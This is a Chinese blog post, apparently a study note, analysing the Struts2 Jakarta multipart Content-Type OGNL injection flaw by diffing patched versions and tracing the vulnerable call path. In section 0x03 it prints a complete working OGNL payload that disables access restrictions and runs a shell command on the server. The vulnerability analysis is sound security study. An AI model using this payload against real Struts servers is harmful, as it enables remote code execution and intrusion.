0x01 前言
最近在学习java安全,第一个目标就是Struts了,准备找一些比较典型的Struts漏洞进行一系列的分析。
0x02 漏洞分析
首先看下官方文档的描述
发现是在Content-Type处写入恶意的代码来进行代码执行的,然后选择下载Struts 2.3.31和Struts 2.3.32两个版本进行对比研究
丢进Beyond Compare中看一看
发现dispatcher.multipart包中的三个java文件有不同,我们可以看到Jakarta字样,Jakarta是Struts2默认的上传处理配置,因此我们可以知道应该是要模拟上传行为来触发漏洞。
点开这三个java文件,我们可以发现其实修复的处理都是一样的
总结一下就是把
1 | LocalizedTextUtil.findText(this.getClass(), errorKey, defaultLocale, e.getMessage(), args); |
这里的e.getMessage()换成了null,所以我们推测应该是报错信息出现的问题把。
我们直接本地搭建一个上传点,然后开burp拦截,启动debug模式,在上面的地方下断点,进行调试看看,因为需要报错信息才能触发漏洞,所以我就直接在Content-Type处直接加了个123,解析肯定会报错的
这里有一个小技巧就是我们把这个上传包send to repeat一下,这样之后重新调试的时候直接go一下就可以了,不用每次都抓包,很麻烦。
然后我们Go一下,程序会停在断点处
然后我们单步进入
发现之前findText处的e.getMessage()处变成了defaultMessage,并且看一下监视器,发现这个变量前面是固定报错信息,但是后面拼接了我们出入的Content-Type字段的数据。
这个时候还不明朗,继续往下走,进入findText函数内部
其实这里我发现一点,那就是官方文档中已经说明了findText方法的作用,大致意思就是:如果Content-Type解析错误了,那么他就要找到指定的aTextName变量的本地化消息,如果在aClass变量指定的包中没有找到,就继续在上一个包中找,一直循环,直到obj包。并且有一点就是,官方文档明确说明了错误信息会被当作ognl表达式在解析
先记着吧,我们继续往下看。
往下走发现有一个findMessage函数,进去看看
发现就是并没有什么用,都是返回的null
之后到了下面有一个循环
这个循环就是之前说的那个在aClass变量执行的包中找,如果找不到就在上一个包中找,发现他会一直到obj包中都还没有找到
继续走,发现了一个敏感函数,getDefaultMessage。
因为我们之前是直到的,defaultMessage变量是我们可控的,进去看一下
找的了!之前分析S2-016的时候我们直到在translateVariables函数中是可以执行ognl表达式的,看一下这里的message参数,
刚好是我们们出入的defaultMessage,可控!
继续进入后,看到
那么payload的写法还是%{}或者${}
最后进入到执行ognl表达式的函数中
就会发现他是只执行${xxx}或者%{xxx}中的xxx的,所以并不用担心defaultMessage中系统自带的那些报错信息
0x03 exp编写
回溯buildErrorMessage函数,发现其在parse函数执行
回溯parse函数,发现其在MultiPartRequestWrapper函数中执行
回溯MultiPartRequestWrapper函数,发现其在dispatcher.wrapRequest函数中执行
但是我们发现,在获取Content-Type之后,有一个if判断,就是说Content-Type中必须得有multipart/form-data,才会执行之后的函数,所以编写exp的时候必须要有multipart/form-data字符串才行。
再回溯到了PrepareOperations.wrapRequest
再回溯到了StrutsPrepareAndExecuteFilter.doFilter
1 | %{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())} |
0x04 总结
- Jarkata解析器是默认的文件上传解析器
- core包中的struts-default.xml中存在类成员访问的黑名单功能